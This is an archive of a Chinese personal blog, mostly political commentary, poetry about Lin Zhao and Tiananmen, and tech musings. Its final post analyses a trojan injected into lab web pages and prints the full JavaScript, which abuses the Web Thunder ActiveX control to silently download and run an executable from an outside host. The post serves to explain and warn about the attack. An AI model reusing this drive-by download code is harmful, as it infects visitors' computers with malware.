星期三, 十二月 05, 2012

我欲归来

从哪里开始呢

星期四, 一月 31, 2008

突破信息封锁的几种方式

Blog很久没有更新,今天不得不更新。我不愿意说太多生活的琐事,这次出来说,是胡佳的事让我实在不能沉默了。看到有人因此被软禁,有人因此被要求去公安局谈话,我出来说话,是不是也要被监视呢。中共,你要为自己的所为负责的。

今天我想告诉大家我获取信息的几种方式,我们只有获得足够的、真实的信息,才能认清我们的民族、我们的国家正在发生什么,过去发生过什么。

  • Blog订阅
这是我获取新闻和评论的主要方式,由于网页访问大多数都被GFW和谐掉,因此使用在线的RSS阅读器就非常必要。我推荐Google Reader。信息首先被抓取在Google的服务器上,一般来说,只要Google还能访问,我们就可以突破封锁。以下是几个我比较关注的消息订阅源(可以直接添加到Google Reader):
一五一十部落头条文章 http://feeds.feedburner.com/my1510
中国报道周刊 http://feeds.feedburner.com/china-week
中文独立媒体「文摘」 http://indymediacn.blogspot.com/atom.xml
壹报 http://feeds.feedburner.com/zml
牛眼看世界 http://feed.feedsky.com/daxa
自曲新闻 http://feeds.feedburner.com/freemoren
以下是一些值得你关注的公民的Blog
高耀洁 http://blog.sina.com.cn/myblog/index_rss.php?uid=1260580754
韦森 http://veisen.blog.sohu.com/rss
郎咸平 http://blog.sina.com.cn/rss/jsmedia.xml
贺卫方 http://blog.sina.com.cn/myblog/index_rss.php?uid=1216766752
戴晴 http://blog.tianya.cn/blogger/rss.asp?BlogID=1072632
袁伟时 http://blog.sina.com.cn/myblog/index_rss.php?uid=1210520227
茅于轼 http://blog.sina.com.cn/myblog/index_rss.php?uid=1235457821
崔卫平 http://blog.sina.com.cn/myblog/index_rss.php?uid=1195181675
傅国涌 http://blog.sina.com.cn/myblog/index_rss.php?uid=1224623833
余世存 http://yushicun.blog.hexun.com/rss2.aspx
和谐蜻蜓 http://yuankui.com/atom.xml
还有曾经的“细节的力量”

如果大家平时没有那么多精力关注这些,也可以订阅我所分享的消息源:http://www.google.com/reader/shared/09124393486765596898

  • eMule下载
eMule基于P2P的方式,可以在没有中心服务器的条件下分享资源,避免了过去服务器资源频繁被删,服务器被迫关闭的问题。迅雷也支持eMule下载,但还没法共享。我最近通过eMule下载了很多资料,比如NHK《激流中国》,《西藏、雪山狮子的哭泣》《透视中国》等纪录片和访谈节目。当然,下载书也很方便,我平时就把我收集的1G电子书都在eMule上共享,只是没有列出清晰的目录,这个工作量太大了。推荐Gene Sharp的书,呵呵,颜色革命的圣经。

  • 盗版书摊
去年中宣部曾经推荐过几本好书:《伶人往事》《我反对》《沧桑》《如嫣》等,这些书很多在正规书店难得见到,但市场经济给了我们其他的选择,我们对这些书有需求,卖方市场自然会形成,大家可以关注那些与城管进行猫鼠游戏的盗版书摊,往往有所收获。目前这些书摊不仅出版国内的热门书籍,如《于丹》《易中天》,还出版港台的书籍。07年的好书就有《毛泽东-鲜为人知的故事》《赵紫阳-软禁中的谈话》《吴法宪回忆录》《中国当代社会各阶层分析》等。

今天先写这么多,不知道文章是否会被和谐。你有什么好的资源欢迎和我交流。谢谢。

星期二, 十一月 06, 2007

林昭墓地

现在这里留个记录,争取早日去看看。

  苏州火车站下,“游4”公交约1小时至终点站灵岩山景区,下车往西,沿途经灵巌山寺、苏州中澳武馆、韩蘄公?(黄色建筑)、右前几十米有小道至安息公墓(几个老妇人坐道口)、从公墓办事处边小道北上、路经一高约三米大墙碑,上刻“中兴佐命定国元勋”、前,一些黄土坟、再前,便是石头砌就的公墓群(从灵岩山到安息公墓约三四百米,注意,右手边可看到“王志喜 仇阿凤”夫妇墓,林昭墓与之并排,边上是林昭父母墓。
   林昭原名彭令昭。
   苏州火车站 --> “游4”公交车(2元)
   灵岩山景区 --> 安息公墓(300~400米)建议乘小三轮机动车3~4元,最多不超过5元
   公墓 --> 林昭墓地(100米不到)

星期一, 十一月 05, 2007

林昭:普洛米修士受难的一日

   (一)
  
   阿波罗的金车渐渐驶近,
   天边升起了嫣红的黎明,
   高加索的峰岭迎着朝曦,
   悬崖上,普洛米修士已经苏醒。
  
   随着太阳的第一道光线,
   地平线上疾射出两点流星:
   ——来了,那宙斯的惩罚使者,
   她们哪天都不误时辰。
  
   ……娇丽的早晨,你几时才能
   对我成为自由光明的象征……
   钉住的镣链像冰冷的巨蛇,
   捆得他浑身麻木而疼痛。
  
   呼一声拍起翅膀,他身旁
   落下了两团狰狞的乌云,
   铜爪猛扎进他的肋骨,
   他沉默着,把牙齿咬紧。
  
   她们急一咀慢一咀啄着,
   凝结的创口又鲜血淋淋,
   胸膛上裂成了锯形的长孔
   袒露出一颗焰腾腾的心。
  
   兀鹰们停了停,像是在休息,
   尽管这种虐杀并不很疲困,
   ——有的是时间,做什么着急
   他没有任何抵抗的可能。
  
   啊,这难忍的绝望的等待,
   他真想喊:“快些,不要磨人”
   但他终于只谋守着静默,
   谁还能指望鹰犬有人性?
   戏弄牺牲者对牺牲者是残酷,
   对戏弄者却是游戏,刺激而高兴
  
   一下,啄着了他活生生的心,
   他痉挛起来,觉得胸膛里
   敲进了一根烧红的长钉;
   一下,一下,又一下,再一下,
   兀鹰们贪婪地啄咬又吞吃,
   新鲜的热血使它们酩酊。
  
   赤血塗红了鹰隼的利喙,
   它们争夺着,撕咬那颗心,
   它已经成为一团变形的血肉,
   只还微微跃动着,颤抖着生命。
  
   痛楚灼烧着他每一根神经,
   他喘息着,冷汗如水般漓淋,
   那儿有空气啊,他吸入的每一口,
   都只是千万只纤细的银针。
  
   佝曲的鹰爪插透了手臂,
   紧叩的牙齿咬穿了嘴唇,
   但受难者像岩石般静默,
   听不到一声叹息或呻吟。
  
   镣铐的边缘割碎了皮肉,
   岩石的锋棱磨烂了骨筋,
   大地上形成了锈色的?底,
   勾下了受难者巍然的身影。
  
   对这苍穹他抬起双眼,
   天,你要作这些暴行的见证,
   可是他看到了什么,……在那里
   云空中显现着宙斯的笑影。
  
   让他笑吧,如果他再找不到
   更好的办法来对我泄恨,
   如果他除此以外就再不能够
   表现他君临万方的赫赫威灵;
   如果他必需以鹰隼的牙爪,
   向囚徒证明胜利者的光荣;
   那么笑吧,握着雷霆的大神,
   宙斯,我对你有些怜悯;
  
   啄吧,受命来惩治我的兀鹰,
   任你们蹂躏这片洁白的心胸,
   牺牲者的血肉每天都现成,
   吃饱了,把毛羽滋养得更光润。
  
   普洛米修士微微地一笑,
   宙斯居然也显示了困窘。
  
   “问话且慢说,普洛米修士,
   接受不接受,你赶快决定。”
   “我不能。”普洛米修士答道,
   平静地直视宙斯的眼睛。
  
   “火本来只应该属于人类,
   怎能够把它永藏在天庭?
   哪怕是没有我偷下火种,
   人们自己也找得到光明。
  
   “人有了屋子怎会再钻洞?
   鸟进了森林怎会再投笼?
   有了火就会有火种留下,
   飓风刮不灭,洪水淹不尽。
  
   “火将要把人类引向解放,
   我劝你再不必白白劳神,
   无论怎么样,无论那一个
   想消灭人间的火已经不成。
  
   “神族这样的统治那能持久,
   你难道听不见这遍野怨声?
   贱民的血泪会把众神淹死,
   奥林匹斯宫殿将化作灰尘!
  
   “何必问未来暴动谁是首领
   要伸张正义的都是你敌人
   你自己种瓜得瓜种豆得豆
   说不定杀你的就是你至亲。”
  
   “住口!停止你恶毒的诅咒,”
   宙斯两眼冒火脸色变青,
   他扬起雷电槌劈空一击,
   平地上霹雳起山摇地震。
  
   “警告你,我不会轻易饶恕,
   切莫要太信任我的宽仁!”
  
   “谁会把你和宽仁联到一起,
   那简直辱没了宙斯的英名。”
  
   “用不着再跟我说长道短,
   一句话:你到底答不答应?”
  
   “重要的并不是我的意愿,
   我无法改变事情的进程。”
  
   “你就这么肯定我们要失败,
   哼,瞧着吧,神族将万世永存。”
  
   “何必还重复陈旧的神话,
   问问你自己可把它当真。”
  
   “谁道我胜不过贱民叛徒?
   谁敢造反我就把它荡平!”
  
   “我知道在这方面你最英武,
   但走多了夜路准碰上冤魂。”
  
   “你只能用诅咒来安慰自己,”
   “这不是诅咒,而是未来的显影。”
  
   “未来怎样已经与你无涉,
   你还是光想法救救自身。”
  
   “你可以把我磨碎,只要你高兴,
   但丝毫救不了你们的危运。”
  
   “你的头脑是不是花岗岩石?”
   “不,是真理保守了它的坚贞。”
  
   “这么说你要与我为敌到底。”
   “被你认作敌人我感到光荣。”
  
   “我叫你到地狱里去见鬼!”
   宙斯怒火万丈吼了一声,
   雷电槌对准普洛米修士打击,
   只听得轰隆隆像地裂天崩。
  
   半边山峰向深谷里倒下,
   满空中飞沙走石伴着雷鸣,
   电光像妖蛇在黑云中乱闪,
   真好比世界末日地狱现形。
  
   宙斯挥动着手中的梭子,
   狞笑着腾身飞上了层云,
   “谁说我惩治不了你?等着!
   不叫你死,剥皮抽你的筋!”
  
   对于被锁链捆绑的勇士,
   对于失去抵抗能力的囚人,
   对于一切不幸被俘的仇敌,
   你们的英武确实无可比伦。
  
   是听清了受难者无言的心声,
   还是辛辣的味觉使它们眩晕
   它们激怒了,猛一下四爪齐伸,
   那颗伤残的心便被扯作两份。
  
   普洛米修士昏晕了,他好像
   忽然向暗黑的深渊下沉,
   胸膛里有一团地狱的烙铁,
   烧烤着,使他的呼吸因而停顿。
  
   (二)
  
   高加索山岭清凉的微风,
   亲吻着囚徒焦裂的嘴唇,
   花岗岩也在颤动而叹息,
   它想把普洛米修士摇醒。
  
   山林女神们悄然地飞落,
   像朵朵轻盈美丽的彩云,
   用她们柔软湿润的长发,
   揩拭受难者胸前的血腥。
  
   她们的眼眶里满含泪水,
   她们的声音像山泉低吟——
   醒来,醒来啊,可敬的囚人,
   生命在呼唤着,你要回应。
  
   鹰隼啄食了你的心肺,
   铁链捆束着你的肉身,
   但你的灵魂比风更自由,
   你的意志比岩石更坚韧。
  
   忽然间正北方响起雷声,
   太阳隐、乌云翻、惨雾雰雰,
   女神们惊叫了一声“宙斯!”
   仓惶地四散隐没了身形。
  
   来了,轻车简从的宙斯,
   两肩上栖息着那对兀鹰,
   他在普洛米修士头边降落,
   俯下身察看囚徒的创痕。
  
   看着那纹丝无损的锁链,
   看着那血锈班班的岩层,
   唇边泛起一个满意的微笑,
   他嘲弄地问道:“怎么样,嗯?”
  
   ……囚徒从容地看了他一眼
   目光是那么锋利和坚定,
   宙斯不由得后退了一步,
   觉得在他面前无处存身。
  
   尽管他全身被钉在岩上,
   能动弹的只有嘴巴眼睛;
   尽管他躺在这穷山僻野,
   远离开人群,无助而孤零。
  
   但这些都安慰不了宙斯,
   对着他只觉得刺促不宁,
   ——他到底保有着什么力量,
   竟足以威胁神族的生存!
  
   “怎么样?”他又重复了一句,
   口气已变得亲切而和温,
   山顶上是不是嫌冷了一些?
   不过这空气倒真叫清新。
  
   “可恨是这两头?毛孽畜,
   闻到点血就说啥都不听,
   我早已叫它们适当照顾,
   不知道它们有没有遵行。
  
   “有什么要求你不妨提出,
   能够办到的我总可答应……”
   普洛米修士静静地回答:
   “多谢你无微不至的关心。”
  
   “有什么要求:囚犯——就是囚犯
   锁链和兀鹰都无非本份。
   只望你收起些伪善,行么?
   那对我真胜似任何酷刑。”
  
   宙斯装作像不曾听清,
   “阿?——我看你有些情绪低沉,。
   那又何必呢?回头处是岸,
   不怕有多大罪悔过就成。
  
   “你不想再回到奥林比斯,
   在天上享受那安富尊荣?
   你不想重新进入神族家,
   和我们同优游欢乐升平?”
  
   “可以答复你,宙斯,我不想,
   我厌恶你们的歌舞升平,
   今天我遭受着囚禁迫害,
   但我不认为自己是罪人。”
  
   “好吧。那你总还希望自由,
   总也想解除惩罚和监禁,
   难道你不响往像常时日,
   随心意飞天过海追风驾云。
  
   “长话短说罢,你到底要怎么?
   是的!我酷爱自由胜似生命。
   可假如它索取某种代价,
   我宁肯接受永远的监禁。”
  
   “不过是这样,普洛米修士,
   我们不愿人间留半点火星,
   火只该供天神焚香燔食,
   那能够给贱民取暖照明!
  
   “当初是你从天上偷下火种,
   现在也由你去消灭干净,
   为了奥林比斯神族的利益,
   你应当负起这严重的责任。
  
   “还有由于你那前知的能力,
   (宙斯矜持地咳嗽了一声),
   据说你预知神族的毁灭,
   知道谁将是***的首领。“
  
   “我们不相信会有这种事,
   要推翻神族—— 梦也作不成,
   我们将统治宇宙万年,
   永保着至高无上的权能。
  
   “但也许真有那样的狂徒,
   竟想叫太阳从西边上升——
   如果你确有所知就该实说,
   让我们早下手惩治叛臣。
  
   “普洛米修士,你怎不想想,
   你属于神族,并不是凡人。
   大河干池塘里也要见底,
   树倒了枝和叶怎能生存!”
  
   “那么你已经感到了不稳,
   是吗?宙斯,这个真是新闻。”
   然而他还总还是不大痛快,
   甚至不感到复仇的欢欣——
   ……一种阴冷的绝望、恐惧,
   深深地盘踞在他的心胸……
  
   (三)
  
   紫色的黄昏向山后沉落,
   灰暗的暮霭一点点加深,
   残损的山峰却依然屹立,
   夜空衬出它深黑的剪影。
  
   普洛米修士悠悠地醒转,
   头颅里一阵阵嗡嗡乱鸣,
   砂石埋没了他半个身子,
   血污糊住了他一双眼睛。
  
   头上有温热的液体流下,
   鼻孔里扑入浓厚的血腥,
   他伸出浮肿而木浊的舌头,
   舔着自己的血来润湿嘴唇。
  
   他用力撑开粘连的眼皮,
   看见了几点稀少的?星,
   下弦月淡淡地挂在天际,
   夜风送来了果树的清芬。
  
   啊,夜,你是多么宁静,
   大地啊,你睡得多么深沉。
   越过广袤的空间,我看见,
   五谷的田野,繁花和森林,
   江湖水滟滟似银,大地母亲,
   你好像披着幅奇丽的绣锦。
   从远古到如今,你每时每日
   滋养哺育着亿万的生灵。
   多少人辛勤地开阔与垦植,
   大地,你一天天焕发着青春。
   可是为什么,你年年血泪,
   只是给众神贡献出祭品!
   我喝过流在你身上的水,
   清澈的水是那么苦涩而酸辛,
   你胸中迸发出沉重的叹息,
   你憔悴,还有你的子孙。
  
   什么时候,大地,你才能新生,
   能够理解被榨取的命运,
   啊!万能的人类永恒的母亲
   我胸中澎湃着?你的爱情,
   我知道,一旦你开始觉醒和翻腾,
   巍峨的奥林比斯将冰消雪崩——
  
   远远地,在沉睡的大地上,
   暗黑中出现了一线光明,
   “火”,普洛米修士微笑地想着,
   痛楚、饥渴霎时都忘个干净。
  
   那一点化成三点、七点、无数,
   像大群飞萤在原野上落定,
   但它们是那么皎红而灼热,
   使星月都黯然失去了晶莹。
  
   这么多了……好快,连我都难相信,
   它们就来自我那粒小小的火星,
   半粒火点燃了千百万亿处,
   光明,你的生命力有多么旺盛,
   燃烧吧“火”,?在囚禁中。
  
   我祝愿你——
   燃烧在正直的出生的火温里,
   让他们凭你诵读真理的教训,
   把血写的诗篇一代代留下,
   为历史悲剧作无情的见证。
   燃烧在正义的战士的火炬上,
   指引他们英勇地战斗行军,
   把火种遍撒到万方万处,
   直到最后一仗都凯旋得胜,
   燃烧,火啊,燃烧在这
   漫漫的长夜,
   冲破这黑暗的如死的宁静,
   向人们预告那灿烂的黎明,
   而当真正的黎明终于来到,
   人类在自由的晨光中欢腾,
   火啊,你要燃烧在每一具
   炉灶里,
   叫寒冷、饥饿永离开人们,
   让孩子拍起手在炉前跳舞,
   老年人围着火笑语殷殷。
  
   凝望那大野上满地灯火,
   臆想着未来光辉的前景,
   就像正遨游在浩渺的太空,
   他觉得精神昂扬而振奋。
  
   今晚有多少人在灯下奋笔,
   记载人民的苦难和觉醒,
   多少人正对灯拔剑起舞,
   火光映红了多少颗急跳的心!
  
   人啊!我喜欢呼唤你响亮的
   高贵的名字,大地的子民,
   作为一个弟兄,我深情地
   呼唤:人啊,我多么爱你们!
   你们是渺小的,但是又伟大;
   你们是朴拙的,但是又聪明;
   你们是善良的,但是当生活
   已经不能忍受,你们将奋起
   斗争!
   起来啊!抛弃那些圣书神语,
   砸烂所有的偶像和香灯,
   把它们踩在脚下,向奥林比斯
   索还作一个自由人的命运!
  
   还能忍受吗?这些黑暗的
   可耻的年代,结束它们,
   不惧怕雅典娜的战甲
   不迷信阿波罗的威灵,
   更不听宙斯的教训或恫吓,
   他们一个都不会留存。
   人啊,众神将要毁灭而你们
   大地的主人,却将骄傲地永生,
   那一天,当奥林比斯在你们
   的千丈怒火中崩倒,
   我身上的锁链也将同时消失,像日光下的寒冰。
   那时候,人啊,我将欢欣地起立,
   我将以自己受难的创痕,
   向你们证明我兄弟的感情:
   我和你们一起,为着那,
   奥林比斯的覆灭而凯歌欢庆……
   在澎湃如潮的灼热的激情里,
   普洛米修士翘望着黎明,
   他彻夜在粗砺的岩石上辗转。
  
   2004年6月6日 帼馨、雯锐录入,
   小草校对,李蕴珠、蜀慧再校
   2004年11月12日甘粹再校

BLOOD IS ON THE SQUARE

   Phillip Morgan
  
  A song was heard in China in the city of Beijing
  In the spring of 1989, you could hear the people sing,
  And it was a song of freedom that was ringing in the square
  The world could feel passion of people gathered there
  Oh children, blood is on the square
  
  For many nights and many days Waiting in the square
  “To build a better nation“ was the song that echoed there
  “For We are China’s children. We love our native land
  For brotherhood and freedom we are joining hand in hand“
  Oh children, blood is on the square
  
  Then came the People’s Army with trucks and tanks and guns
  The government was frightened of their daughters and their sons
  But in the square was courage and a vision true and fair
  The army of the people would not harm the young ones there
  Oh children, blood is on the square
  
  On June the 3rd in China in the spring of ’89
  An order came from high above and passed on down the line
  The soldiers opened fire, young people bled and died
  The blood of thousands on the square that lies can never hide
  Oh children, blood is on the square
  
  For four more days of fury, the people faced the guns
  How many thousands slaughtered when their grisly work was done
  They quickly burned the bodies to hide their coward’s shame
  but blood is thick upon their hands and darkness on their names
  Oh children, blood is on the square
  
  Therw are tears that flow in China for her children that are gone
  There is fear, there is hiding, for the killing still goes on
  The iron hand of terror can buy silence for today
  But the blood that lies upon the square cannot be washed away
  Oh children, blood is on the square
  Oh children, blood is on the square
  Oh children, blood is on the square

星期日, 十一月 04, 2007

U盘与Ubuntu

从前的三寸盘、五寸盘都有写保护,这有效的阻止了很多病毒的传播,不知道为什么这个技术在U盘上却走了倒退的路。直到现在也没有在每个U盘上普及,甚至很多人都没有意识到这个功能有多么重要。念书的朋友们几乎每个月都要去打印资料,打印社成了病毒的集散地,大家带着U盘纷纷去中毒,痛却没有快乐。如果打印社都可以连入校内网络,然后通过某种可以保护隐私的机制在网络上传递文件,这个问题就解决了大部分。记得本科的时候我想改造开源的FTP Server,为每个登录的用户创建新的目录,目录的浏览权限仅用户自己所有。后来没有去和打印社谈合作,这个东西也就随便谈谈就过去了。
现在这个问题又回来了。我是太轻视这个病毒了,以为凭借自己的经验,可以把影响控制在最小。以前我都是先进入Ubuntu,把病毒删掉才连Windows。疏忽了一次,问题让我搞大了。前天系统无法启动,连个进入Secure Mode的机会都不给了。权衡了一下,不能不打印,就不能没有病毒,那就不用Windows了,改成单一Ubuntu。单一系统也有坏的时候,那时候就没有什么退路了。
其实单一Ubuntu基本可以满足使用需求,我最大的不满意就是输入法。简直就是十年前的准确度,相比Windows上各路英雄齐比武,Linux上就太冷清了。苏哲已经去了Google,我没有理由不相信Google会退出Linux般的输入法,可是这进度真是慢得够呛。

以推送的方式改造"Baidu知道"

我过去提出过很多想法,部分也发表在这里,但最后基本都是没有下文的。以至于当我告诉丫头我有一个想法时,还没讲故事,她就笑的不行了。想法嘛,就是随时都要提,提出来才能进一步思考嘛。

“Baidu知道”我从来没有用过,但基本过程我还是了解的,有人提问,有人解答,这种问答的方式是社区的基本交互方式。因此我的出发点就是如何以更好的方式让提问者得到答案,这种更好应该是更快、更准确、用户付出代价更小。

Google通过人工智能的方式,以强大的计算能力为基础,为用户提供了一个统一的问答系统。比如我们可以搜索框中输入“华南虎灭绝了吗”。搜索引擎自身并不告诉我们结果,而是将我们转交给其他问答社区,比如“Baidu知道”,“Yahoo知识堂”,从而进一步获得结果。这里表面上看是没有人的参与,但其实最终解答问题还是需要人类的智慧贡献。
“Baidu知道”,采取另一条路,即自己建设知识社区,维护知识树和用户群。人们在社区内发布问题,志愿者去解答相关的问题。我之所以提出以推送的方式改进“baidu知道”,是觉得简单发布,等待解答的方式效率不够高,问题并不能第一时间被能够解答的人感知到,即使这个人是Baidu的用户,人们需要首先登录“Baidu知道”社区,找到自己熟悉的领域,然后在很庞大的问题池中选择问题来回答,针对性不强,时效性不高,造成的结果就是解答的质量参差不齐(结论很武断,只是推断出来,没有进行实证研究,在此提示读者请忽略此结论)。在提问时,提问者会为问题分类,这个分类体系是Baidu设计的,但层次大概有三四层。由于分类的粒度较大,因此问题池也较大,这不利于人们解答。

推送是一种大家很熟悉的方式,比如Email、RSS订阅、IM消息等。目前人们谈推送主要是指在用户提出显性请求之前,计算机系统将用户可能关心的信息主动发送给用户,使用户的体验更加的个性化,效率也提高了。将推送结合进“Baidu知道”的步骤如下:

  1. 分析问题的语义信息。当用户提出问题时,计算机系统首先分析问题的语义信息,比如“华南虎灭绝了吗”,计算机可能分析出:华南虎-》大型猫科动物,灭绝-》珍惜动物保护,自然保护区,甚至和新闻相结合推断出-》周正龙。这种语义分析可以使得问题的粒度更细,这是分类系统所无法以较低成本提供的。
  2. 系统进一步分析这个问题可能哪类人可以解答:猫科动物专家?保护野生动物基金会?林业部?记者?
  3. 系统找到这些人都是谁。“Baidu知道”的用户在注册的时候应该提供一份可以解决问题的描述,或者系统根据他过去的回答情况,提取关键特征,得到一个特征向量。这样猫科动物专家-》中科院动物所-》Mr. Right;野生动物保护-》华南虎保护基金会;balabala...
  4. 最后就是推送了,这里可以有多种方式,专家们可能喜欢Email,那么系统就Email他有个问题需要他帮忙。有人安装了Baidu Toolbar,那么可以直接推送到浏览器里。其余的流程,激励机制就没有必要改变了。
很多人会说,问题并不一定只有专家才能解答,生活上的问题人人都是专家。是呀,这里提到的问题只是针对特定需求,比如专业问题,需要高效率的时候才是需要的。以计算机的角度分析,问题的关键是如何做语义分析和推导。即步骤2和3。

OK。这个问题报告完了,说的很罗嗦,你觉得这个有意思欢迎和我讨论,尽管我可能并没有机会去进一步研究他。

盛世出猛虎,猛虎显国威,国威值百万,百万要掉头。

Google股票查询工具条(Stock Button for Google Toolbar)

股票(Stock)查询是一项非常基本,频率又非常高的操作,其API的设计也是非常简单的,输入往往就是股票代码,输出为当前股票价格。在Google Stock的Button库中最早就有Stock Button,可惜这是美国的Stock,非沪市深市。我就很奇怪这个基本的功能为什么中文版没有。后来查看了上海证交所的说明才知道,他们不提供Free的API,需要付费使用。

国内其实有很多看盘的软件,但每个人都有自己特殊的需求,专业操盘手当然使用信息丰富的客户端,比如“Wind金融资讯”。对于平日需要上班工作的人士,安全,谨慎,不被老板发现则是另一个重要需求,此类软件有“股票偷偷看”,容易隐藏。对于有多个操作系统,多个机器的用户,基于Web的方式就很方便,比如Sina的“我的股票2.0”。这些我都用过,但总有些需求是无法满足我的,sina的方式需要我总打开他们的网页,这很容易被老板发现,还是不够安全。因此我的需求总结为“跨平台,低干扰,快捷,安全”。所以采用为Google Toolbar加Button的方式我觉得最符合我的要求(对于不使用Google Toolbar的用户来说当然就很不方便了)。因此有了上面这幅截图中的Stock Button。

开发其实很简单,从熟悉接口到beta使用只用了2个小时,后来仅就参数设置和日志功能做了大概2个小时的维护,代码加起来应该不到100行吧,够用就行,想实现复杂的也不会了。
目前的功能上图基本都呈现了:

  • 采用下拉菜单的方式显示股票的当前价格,涨跌情况。想看的时候点击一下下拉按钮就行。鼠标悬浮时提示更加详细的价格信息(最高、卖价等)。
  • 点击任何项,将会打开sina上对应的网页。
  • 内置上证、深证指数。
  • 可以随时修改自定义股票,股票数量没有限制。需要提供股票代码,如600030,000002等,在Toolbar的Button Option里可以设置。
  • 鼠标点击或者每分钟更新一次数据。
不足:
  • 需要服务器端支持,由于Google Toolbar的下拉菜单是需要读取RSS数据,因此需要把股票价格转换为RSS或ATOM格式,目前这个工作交给实验室一台空闲机器做,这也是这个Button不能发布的根本原因。
  • 数据依赖sina。证交所不提供API,因此选择了其他门户网站,通过分析他们的源代码,找到了一个JavaScript API,使用非常简单。当sina无法访问,或者不对外提供API,数据获取就很麻烦,比如采取Screen Capture的方式,效率就差好几倍了。
  • 显示缺乏颜色提示。不能以红、绿颜色的方式提示涨跌。RSS的Title要是支持颜色,比如HTML,那就可以支持了。
  • 自定义数据保存在客户端。因此每次重装Toolbar都需要重新输入股票代码。
好了,好久没有更新Blog了,就以这篇开个头,祝愿我们的祖国越来越和谐。

股市有风险,入世需谨慎。

星期六, 六月 23, 2007

《历史深处的误会》中的一个小故事

早上在读“功成身退:光复会群像”时有一段文字很让我感动,这段文字描述了秋瑾的事迹,但我这里的主角不是这位女侠,而是一位几乎没有人听说过的人,“秋风秋雨愁煞人”正是他的所为才让此句流传下来。现摘录给大家:
1907年7月15日,她在故乡绍兴被残忍地杀害,年仅32岁。值得一提的是,绍兴的地方官山阴知县李宗岳不肯对秋瑾用刑逼供,他同情秋瑾,又无能为力,在秋瑾殉难后竟然上吊自尽了,显示出难得可贵的人的良知。这是人性的震撼,是秋瑾给他的力量,使他毅然放弃生命。那个年代里,有可耻的告密者,蘸人血馒头的人,但有了李宗岳的死,我们还是看见了人性的一点亮色,那不是为了什么理想、革命,仅仅是人的良心的发现,是人性的力量战胜了求生的欲望。秋瑾被杀并无确凿证据,下令杀她的浙江巡抚对此也感到不安,自请调往江苏、山西,先后被当地人所拒,只好称病。绍兴知府自请调往安徽也被拒,不知所钟。可见人心不服。
此段文字再对比当今某国官员的嘴脸,何为先进性(性倒是先进),何为大国,何为历史的选择,何为中流砥柱,真是TMD的无语呀。

星期五, 六月 22, 2007

利用Web迅雷的木马程序

其实也不算什么病毒,这段代码的作用就是下载一个可执行文件,并且执行它。那个下载的文件也不是病毒,还是一个下载文件(分析过程这里没有写),估计最后是下载各种其他木马吧。
最近实验室中了ARP病毒,把实验室的网页劫持后加入了下面这段代码。
尽管我已经给病毒服务器的注册者发信了(北京一家公司,服务器在东莞),估计没人理我。
安装有Web迅雷并且使用IE浏览的用户有可能感染,看作者的一些注释挺有趣的。

var thunder_server=null; var id_file=0;//记录下载任务id
//初始化控件,返回1表示安装了web讯雷,0为出现错误
function init(){
try {
thunder_server = new ActiveXObject("ThunderServer.webThunder.1");
} catch(e) {
//alert("init activex failed");
return 0; }
return 1;}


////////////////////////////////////注意,核心函数//////////////////////////////////////////////////成功执行后函数返回添加的下载任务的id,否则,返回1////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
function downfile(){ thunder_server.SetConfig("MessagePanel","DownloadComplete","0");//下载完毕后无显示面版
thunder_server.SetConfig("Sound","DownloadComplete","0");//下载完毕无声音 thunder_server.ShowBrowserWindow();
//thunder_server.SetBrowserWindowSize(0, 0, 0, 0);
//不添加的话thunder_server.AddTask()就不会成功被执行,郁闷.........
var szURL="http://mmy.mmy88.cn/down/wm.exe"; //需要下载的程序的URL
var szFileName="test.exe"; //另存为的文件名
var szSavePath="d:\\";
// szSavePath=thunder_server.GetServerPath(); //另存为的路径
var szComments="";
//注释
var szRefURL="";
//引用URL
var nStartMode=1; //0为手动开始,1为自动开始
var nOnlyFromOrigin=0; //只从原始地址下载,0为否
var nOriginThreadNum=5; //下载程序的线程数
var nIsNeedAccount=0; //是否需要登陆,0为无需登陆
var szUserName=""; //登陆用户名
var szPassword=""; //登陆密码
var szTaskClass=""; //下载任务的类别,如“其他”,“软件”,“游戏”,“影视”等等
var szCID=""; //下载讯雷资源时才用到
var nIsAddUncompletedTask=0; //看名字就知道
var szStatURL="";
//thunder_server.SetVariable("DoIntelligentName", "");
//调用AddTask()方法开始下载目标程序
var retStr = thunder_server.AddTask(szURL, szFileName, szSavePath,szComments, szRefURL, nStartMode, nOnlyFromOrigin,nOriginThreadNum, nIsNeedAccount, szUserName,szPassword, szTaskClass, szCID, nIsAddUncompletedTask, szStatURL); thunder_server.HideBrowserWindow(1);
//调用AddTask()方法后立即关掉打开的下载窗口
var ret_code = new Number();
var ret_msg = new String();
var aryStr = new String();
if (retStr.length > 0) {
aryStr = retStr.split("{\r*\r}");
ret_code = parseInt(aryStr[0]);//记录添加任务结果,0为添加成功,1为出现错误,100为重复URL ret_msg = aryStr[1];//正确执行后为添加的下载任务的id值
} else //失败
{ return 1; } if(ret_code==1)return 1; return ret_msg;}


//运行下载后的文件
function open() { thunder_server.OpenFile(id_file); }
function exec(){
var ret=init();
if(ret==0)return;
id_file=downfile();
if(id_file==1)
return; //若出现错误则一直调用downfile()函数直到成功为止!!
setInterval("open()",5000);
//搞了半天没有搞出下载完毕的回调函数,
//只能5秒为间隔的运行下载的程序。
//若文件没有下载完毕,调用open()函数时文件并未运行